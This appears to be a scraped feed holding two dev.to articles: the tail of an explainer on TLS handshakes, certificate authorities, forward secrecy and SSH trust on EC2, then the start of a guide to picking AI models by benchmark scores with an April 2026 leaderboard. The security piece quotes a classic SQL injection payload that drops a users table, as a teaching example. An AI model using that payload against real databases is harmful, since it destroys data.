&lt;p&gt;&lt;strong&gt;Phase 3: Key Exchange&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Both sides run the ECDHE algorithm using their respective key material to independently derive the same session key. The session key never travels across the network. An attacker watching the exchange sees only public parameters, from which deriving the private session key is computationally infeasible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 4: Transcript Verification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Both sides hash the complete record of every handshake message and compare the results. If any message was altered or injected mid-handshake, the hashes will not match, and the connection terminates immediately. This phase confirms that the negotiation itself was not tampered with.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; TLS 1.0 and 1.1 are deprecated and should be disabled on all servers. They lack protection against attacks like BEAST and POODLE. TLS 1.3, standardized in 2018, is the current secure baseline. It removed all cipher suites that do not provide Perfect Forward Secrecy.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; In 2014, the POODLE attack (Padding Oracle On Downgraded Legacy Encryption) demonstrated that an active attacker could force a TLS 1.2 connection to downgrade to SSL 3.0, then exploit a padding oracle vulnerability to decrypt session cookies. The attack required control of the network between client and server, a realistic position for an attacker on shared Wi-Fi.&lt;/p&gt;

&lt;p&gt;[Further reading: RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3]&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Pros and Cons of TLS Overhead&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;Benefit&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Encryption&lt;/td&gt;
&lt;td&gt;Prevents eavesdropping on all traffic&lt;/td&gt;
&lt;td&gt;Marginal CPU overhead per connection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Handshake&lt;/td&gt;
&lt;td&gt;Establishes authenticated, shared key&lt;/td&gt;
&lt;td&gt;Adds 1-2 round trips on first connection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate validation&lt;/td&gt;
&lt;td&gt;Confirms server identity&lt;/td&gt;
&lt;td&gt;Requires OCSP or CRL check for revocation status&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 1.3 0-RTT&lt;/td&gt;
&lt;td&gt;Allows resuming sessions with zero round trips&lt;/td&gt;
&lt;td&gt;Replay attacks possible on non-idempotent requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PFS (ECDHE)&lt;/td&gt;
&lt;td&gt;Past sessions stay secure after key compromise&lt;/td&gt;
&lt;td&gt;Slightly more computation than static RSA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate expiration&lt;/td&gt;
&lt;td&gt;Limits damage from key theft&lt;/td&gt;
&lt;td&gt;Requires automated renewal management&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. Certificates and Certificate Authorities: The Trust Problem
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37xbb6j6mmho77y7k562.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37xbb6j6mmho77y7k562.png" alt=" " width="800" height="274"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Without certificates, encryption protects the channel but not the identity at the other end. An attacker positioned between you and your bank can establish two encrypted connections: one with you and one with the real bank. They decrypt, read, and re-encrypt everything. From your perspective, the connection looks secure. You are just talking to the wrong party.&lt;/p&gt;

&lt;p&gt;A TLS certificate solves this by binding a server's public key to its domain name, with a Certificate Authority (CA) signature as proof.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What a CA actually does:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you request a certificate for &lt;code&gt;bank.com&lt;/code&gt;, the CA independently verifies that you control that domain (through DNS records, HTTP challenges, or email verification). It then signs the certificate with its own private key. Every major OS and browser ships with a pre-installed list of trusted CA public keys.&lt;/p&gt;

&lt;p&gt;When your browser connects to &lt;code&gt;bank.com&lt;/code&gt;, it checks whether the certificate's CA signature is valid against a trusted CA it already knows. If an attacker substitutes their own public key, the CA signature fails validation, and the browser refuses the connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; The CA model concentrates trust in a relatively small number of organizations. In 2011, Dutch CA DigiNotar was compromised, and attackers issued fraudulent certificates for &lt;code&gt;google.com&lt;/code&gt;, &lt;code&gt;mozilla.com&lt;/code&gt;, and other high-value domains. Iranian users' traffic was intercepted using these certificates. The entire DigiNotar CA was subsequently removed from trust lists. This event demonstrated that the CA model's weakest point is not the cryptography; it is the security of the CA organizations themselves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; Certificate Transparency (CT) logs were introduced in 2013 and became mandatory for Chrome in 2018. Every certificate issued by any CA must be logged publicly in append-only CT logs. This means fraudulent certificate issuance becomes detectable, because the certificate will appear in a public log even if the intended domain owner was not notified.&lt;/p&gt;

&lt;p&gt;[Further reading: RFC 9162 - Certificate Transparency Version 2.0]&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Background: What Is SHA-256?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SHA-256 is a hashing algorithm. You feed it any input (a document, a certificate, a password) and it produces a fixed 256-bit fingerprint. Two different inputs rarely produce the same fingerprint (this is called a collision). You cannot reverse a SHA-256 hash to recover the original input. CAs sign the SHA-256 hash of a certificate rather than the certificate itself, because RSA has size limits and because a hash collision would allow attaching a legitimate signature to a fraudulent certificate.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Perfect Forward Secrecy: Protecting Past Sessions
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucv7dzguzj2y11orkgqm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucv7dzguzj2y11orkgqm.png" alt=" " width="800" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before Perfect Forward Secrecy became standard, session keys were mathematically derived from the server's long-term private key. This created a retroactive vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The "record now, decrypt later" attack:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An attacker records all encrypted traffic between users and a server today&lt;/li&gt;
&lt;li&gt;Five years later, the attacker obtains the server's private key (through a breach, a legal order, or social engineering)&lt;/li&gt;
&lt;li&gt;The attacker can now decrypt every session ever recorded, retroactively&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;ECDHE defeats this by generating fresh, independent key pairs for every session. The session key derives from these ephemeral keys, not from the server's long-term key. When the session ends, the ephemeral keys are permanently destroyed. An attacker holding the server's private key gains nothing from it for past sessions.&lt;/p&gt;

&lt;p&gt;TLS 1.3 made PFS mandatory. Every cipher suite in TLS 1.3 requires ephemeral key exchange. All static RSA key exchange cipher suites were removed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; TLS configurations that still allow cipher suites like &lt;code&gt;TLS_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; have no Perfect Forward Secrecy. Audit your server's TLS configuration regularly. Tools like SSL Labs' server test (ssllabs.com/ssltest) check for this explicitly.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; The Snowden documents (2013) revealed that intelligence agencies were storing large volumes of encrypted internet traffic. The stated rationale was that future advances in cryptanalysis or access to private keys could make currently unreadable traffic readable later. PFS directly limits the value of bulk collection by ensuring that traffic encrypted with ephemeral keys cannot be retroactively decrypted.&lt;/p&gt;

&lt;p&gt;[Further reading: RFC 7457 - Summarizing Known Attacks on TLS and DTLS]&lt;/p&gt;




&lt;h2&gt;
  
  
  7. What HTTPS Does Not Protect: The Application Layer
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzaqt9xezv312p4vkn0ej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzaqt9xezv312p4vkn0ej.png" alt=" " width="800" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;TLS secures the transport pipe between the browser and the server. It does not inspect the payload flowing through that pipe. A SQL injection string arrives at your database:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Encrypted in transit (TLS did its job)&lt;/li&gt;
&lt;li&gt;Intact and unmodified (no tampering occurred)&lt;/li&gt;
&lt;li&gt;Fully executable (TLS never looked at the content)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The payload &lt;code&gt;'; DROP TABLE users; --&lt;/code&gt; is delivered correctly. What your application does with it is entirely outside TLS's scope.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Threats outside TLS's responsibility:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SQL Injection:&lt;/strong&gt; Malicious database commands embedded in user input, executed when the application fails to sanitize them&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XSS (Cross-Site Scripting):&lt;/strong&gt; Malicious scripts injected into web pages, executed in other users' browsers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSRF (Cross-Site Request Forgery):&lt;/strong&gt; Tricks authenticated users into submitting requests they did not intend to make&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication bypass:&lt;/strong&gt; Logic flaws in how the server verifies identity, unrelated to encryption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DDoS at the application layer:&lt;/strong&gt; Floods of legitimate-looking HTTPS requests that exhaust server resources&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; The 2012 LinkedIn breach exposed 6.5 million password hashes. The passwords were hashed without salt using SHA-1, making the majority crackable within hours using rainbow tables. The site used HTTPS. The encryption protected traffic in transit; it had no bearing on how the server stored passwords internally.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; Deploying HTTPS and considering security "complete" is one of the most common and costly security misconceptions in web development. HTTPS handles one threat model. Your application, database, authentication system, and infrastructure each have separate attack surfaces that require separate controls.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Defense layers beyond HTTPS:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Input validation and parameterized queries&lt;/strong&gt; protect against SQL injection and XSS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSRF tokens&lt;/strong&gt; protect against cross-origin request forgery&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WAF (Web Application Firewall)&lt;/strong&gt; filters malicious patterns at the application boundary&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IAM and MFA&lt;/strong&gt; control who can authenticate and what they can access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNSSEC and HSTS&lt;/strong&gt; prevent DNS poisoning and protocol downgrade before TLS starts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logging and monitoring&lt;/strong&gt; detect what all other layers missed&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;[Further reading: OWASP Top Ten - owasp.org/www-project-top-ten]&lt;/p&gt;




&lt;h2&gt;
  
  
  8. SSH on AWS EC2: Same Cryptography, Different Trust Model
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fswc8znvekij9drrpdyo5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fswc8znvekij9drrpdyo5.png" alt=" " width="800" height="230"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SSH connections to AWS EC2 instances use the same asymmetric cryptography as HTTPS: key pairs, encryption, and integrity checks. But the trust model is completely different.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How EC2 SSH works:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS generates a key pair when you create the instance&lt;/li&gt;
&lt;li&gt;You receive the private key file (&lt;code&gt;.pem&lt;/code&gt;) once, at creation time&lt;/li&gt;
&lt;li&gt;The public key is placed in the instance's &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;On connection, the client proves possession of the private key through a cryptographic challenge&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No CA is involved. Trust comes from directly holding the key. You control both sides of the connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TOFU (Trust On First Use):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On the first SSH connection to an EC2 instance, your terminal displays the server's fingerprint (a hash of the host's public key) and asks you to verify it. You confirm manually. The fingerprint is cached locally. Future connections verify automatically against the cached value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why HTTPS cannot use TOFU:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A developer logs into perhaps five EC2 instances. Manual fingerprint verification per connection is practical. A browser user visits millions of different websites over the years of browsing. Manually verifying every server's fingerprint on the first visit is not operationally possible. The CA model automates the trust establishment that TOFU requires you to perform by hand.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When you see the SSH warning "Host key verification failed," this means the server's fingerprint changed since your last connection. This is normal after rebuilding an EC2 instance, but on a server you have not touched recently, it warrants investigation. It could indicate an MITM attack.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Real-world case:&lt;/strong&gt; In misconfigured automated deployment pipelines, &lt;code&gt;StrictHostKeyChecking=no&lt;/code&gt; is sometimes set to prevent SSH from prompting on first connection. This disables TOFU entirely and accepts any host key, including a forged one. In 2020, several CI/CD pipeline security audits found this configuration common in enterprise environments, leaving deployments vulnerable to supply chain attacks.&lt;/p&gt;

&lt;p&gt;[Further reading: OpenSSH Manual - ssh_config(5)]&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary: Each Mechanism and the Attack It Prevents
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Attack prevented&lt;/th&gt;
&lt;th&gt;Removed if missing&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Encryption in transit&lt;/td&gt;
&lt;td&gt;Eavesdropping at any network hop&lt;/td&gt;
&lt;td&gt;Credentials, tokens, and data visible to all intermediaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asymmetric key exchange (ECDHE)&lt;/td&gt;
&lt;td&gt;Key interception during setup&lt;/td&gt;
&lt;td&gt;Symmetric key useless to share over the channel, it must be secured&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS certificates&lt;/td&gt;
&lt;td&gt;MITM via impostor public key&lt;/td&gt;
&lt;td&gt;Encrypted tunnel to the wrong party&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate Authorities&lt;/td&gt;
&lt;td&gt;Self-signed certificate fraud&lt;/td&gt;
&lt;td&gt;No scalable way to verify domain ownership&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA-256 in certificate chains&lt;/td&gt;
&lt;td&gt;Certificate forgery via hash collision&lt;/td&gt;
&lt;td&gt;Valid CA signatures attachable to fraudulent certificates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phased TLS handshake&lt;/td&gt;
&lt;td&gt;Downgrade attacks, injected messages&lt;/td&gt;
&lt;td&gt;Each phase depends on guarantees from the previous one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Perfect Forward Secrecy&lt;/td&gt;
&lt;td&gt;Record-now, decrypt-later attacks&lt;/td&gt;
&lt;td&gt;Long-term key compromise exposes all past sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate expiration&lt;/td&gt;
&lt;td&gt;Indefinite use of a stolen private key&lt;/td&gt;
&lt;td&gt;One stolen key grants permanent impersonation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application layer controls&lt;/td&gt;
&lt;td&gt;SQL injection, XSS, CSRF, auth bypass&lt;/td&gt;
&lt;td&gt;TLS secures the pipe but never inspects what flows through it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;HTTPS is the first defense, not the only one. Every layer listed above addresses a different attacker capability. Remove any one layer, and a specific class of attack becomes practical. That is why the architecture is built the way it is, and why "we have HTTPS" is the start of a security conversation, not the end of one.&lt;/p&gt;

&lt;p&gt;[Further reading: OWASP Web Security Testing Guide - owasp.org/www-project-web-security-testing-guide]&lt;/p&gt;

</description>
      <category>security</category>
      <category>networking</category>
    </item>
    <item>
      <title>How to Choose the Right AI Model for the Right Job</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Tue, 21 Apr 2026 12:51:54 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/how-to-choose-the-right-ai-model-for-the-right-job-i1n</link>
      <guid>https://dev.to/im-shafiqurehman/how-to-choose-the-right-ai-model-for-the-right-job-i1n</guid>
      <description>&lt;p&gt;There are 480+ language models tracked on ArtificialAnalysis.ai right now. Each one claims to be the best, fastest, or most affordable. Most of that is marketing. What you need is data.&lt;/p&gt;

&lt;p&gt;ArtificialAnalysis.ai is one of the few platforms that evaluates AI models independently. No vendor pays to appear on their leaderboards. They run the tests themselves, using their own methodology, and publish the results for everyone. That independence is what makes the data worth trusting.&lt;/p&gt;

&lt;p&gt;This article walks you through what the data actually shows, and gives you a framework for picking the right model for your specific task.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. What ArtificialAnalysis.ai Does, and Why It Matters
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Background: Most AI benchmarks are published by the companies that build the models. That creates an obvious conflict of interest. ArtificialAnalysis.ai re-runs evaluations independently, using standardized tests, so you can compare models across providers on equal terms.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The platform tracks three core dimensions for every model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Intelligence: how well the model performs across diverse reasoning, knowledge, and coding tasks&lt;/li&gt;
&lt;li&gt;Speed: output tokens per second, which determines how fast responses appear&lt;/li&gt;
&lt;li&gt;Price: USD per one million tokens, which determines what it costs to run at scale&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It also maintains separate leaderboards for image and video generation, which operate on completely different criteria from text intelligence.&lt;/p&gt;

&lt;p&gt;The composite intelligence score is called the Artificial Analysis Intelligence Index v4.0. It combines ten independent sub-evaluations into a single number. That number is useful for quick comparisons. The sub-benchmark breakdowns are useful for task-specific decisions.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Six Benchmarks That Predict Real Performance
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb4ucz0ns9wsto2hudy64.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb4ucz0ns9wsto2hudy64.png" alt=" " width="800" height="411"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The image above lists the six benchmark categories used to evaluate frontier models, along with what each one tests and why it is harder than standard benchmarks.&lt;/p&gt;

&lt;p&gt;Most AI benchmarks are too easy now. Frontier models score near-perfect on them, which makes it impossible to differentiate between the top options. ArtificialAnalysis.ai focuses on six that still produce meaningful separation.&lt;/p&gt;




&lt;h3&gt;
  
  
  GPQA: PhD-Level Science Knowledge
&lt;/h3&gt;

&lt;p&gt;GPQA contains 448 expert-level science questions across biology, chemistry, and physics. Non-PhD humans score only 34% on this test, even with full internet access. That benchmark tells you something important: a model scoring well on GPQA has internalized knowledge at a depth that goes beyond what most humans retrieve through search.&lt;/p&gt;

&lt;p&gt;What this predicts in practice: the model's usefulness for research assistance, scientific writing, and technical analysis in specialized domains.&lt;/p&gt;

&lt;p&gt;Example: A biotech team using AI for drug interaction literature review needs strong GPQA performance. A model scoring 60%+ will give substantially more accurate responses than one scoring 40%, not marginally better ones.&lt;/p&gt;




&lt;h3&gt;
  
  
  MMLU-Pro: Language Comprehension Under Pressure
&lt;/h3&gt;

&lt;p&gt;MMLU-Pro is a harder version of the Massive Multitask Language Understanding benchmark. The original gave four answer choices. This version gives ten. More choices reduce lucky guessing and produce a cleaner signal of actual comprehension.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Background: MMLU was one of the first large-scale tests used to evaluate language models across academic subjects. The Pro version removes easier questions and expands choices to make the test more discriminating.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example: If you are deploying a model for customer support in legal or financial services, MMLU-Pro scores are a strong indicator of whether the model will handle ambiguous, nuanced language correctly.&lt;/p&gt;




&lt;h3&gt;
  
  
  AIME: Multi-Step Mathematics
&lt;/h3&gt;

&lt;p&gt;AIME stands for the American Invitational Mathematics Examination, an invite-only national competition for top high school students. The problems require multi-step logical reasoning, symbolic manipulation, and the ability to hold a complex problem state across many steps.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: Strong AIME scores do not guarantee accuracy on all math tasks. Models that score well here sometimes still make arithmetic errors in basic financial calculations. Always test on your specific math use case before committing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example: Quantitative finance teams evaluating models for strategy analysis should weight AIME scores heavily. A model that fails at this level will struggle with multi-step financial modeling chains.&lt;/p&gt;




&lt;h3&gt;
  
  
  LiveCodeBench: Real Coding Ability
&lt;/h3&gt;

&lt;p&gt;LiveCodeBench pulls problems from ongoing competitive programming contests on LeetCode, AtCoder, and Codeforces. Because the problems come from live contests, they are unlikely to appear in any model's training data. The model has to actually solve them.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Background: "Data contamination" is a known issue in AI benchmarking. If a model was trained on the answers to benchmark questions, it scores high without actually learning anything new. Live benchmarks reduce this risk significantly.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example: A software engineering team choosing a code assistant should prioritize LiveCodeBench scores over general intelligence scores. The correlation to production code quality is more direct.&lt;/p&gt;




&lt;h3&gt;
  
  
  MuSR: Sustained Logical Reasoning
&lt;/h3&gt;

&lt;p&gt;MuSR tests long-form logical deduction. A typical problem involves reading a 1,000-word narrative and answering who has means, motive, and opportunity. It measures whether a model tracks multiple facts, relationships, and constraints across a long context without losing thread.&lt;/p&gt;

&lt;p&gt;Example: Legal document analysis, contract review, and compliance checking all require this. A model that loses track of earlier clauses in a 40-page contract will produce unreliable summaries, even if its general intelligence score looks strong.&lt;/p&gt;




&lt;h3&gt;
  
  
  HLE: Humanity's Last Exam
&lt;/h3&gt;

&lt;p&gt;HLE contains 2,500 of the hardest, most subject-diverse, multi-modal questions assembled for AI evaluation. It is designed to be the final academic test before AI performance exceeds what humans reliably achieve.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: HLE scores are low even for the best models. Do not penalize a model for a low absolute score. Look at relative performance between models, not absolute numbers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example: Research institutions working on frontier science questions should monitor HLE scores closely. This benchmark is the best current proxy for whether a model can contribute to genuinely novel work.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The Intelligence Leaderboard: Who Leads and by How Much
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frvaniflf5xy94eq6r7pg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frvaniflf5xy94eq6r7pg.png" alt=" " width="800" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The image above shows the top models ranked across three separate dimensions. Notice that the ranking order changes substantially depending on which dimension you are looking at.&lt;/p&gt;

&lt;p&gt;[IMAGE PLACEHOLDER: Image 3, the full Artificial Analysis Intelligence Index bar chart with 28 models]&lt;/p&gt;

&lt;p&gt;This chart shows 28 of the 480 tracked models, ranked by composite Intelligence Index score. The top three models, from three different companies, are tied at 57.&lt;/p&gt;

&lt;p&gt;Current top intelligence rankings as of April 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rank&lt;/th&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 (tied)&lt;/td&gt;
&lt;td&gt;Claude Opus 4.7 (max)&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 (tied)&lt;/td&gt;
&lt;td&gt;Gemini 3.1 Pro Preview&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 (tied)&lt;/td&gt;
&lt;td&gt;GPT-5.4 (xhigh)&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Kimi K2.6&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;Kimi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Claude Opus 4.6 (max)&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Muse Spark&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;Meta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7 (tied)&lt;/td&gt;
&lt;td&gt;Qwen3.6 Max Preview&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7 (tied)&lt;/td&gt;
&lt;td&gt;Claude Sonnet 4.6 (max)&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;GLM-5.1&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;Zhipu&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

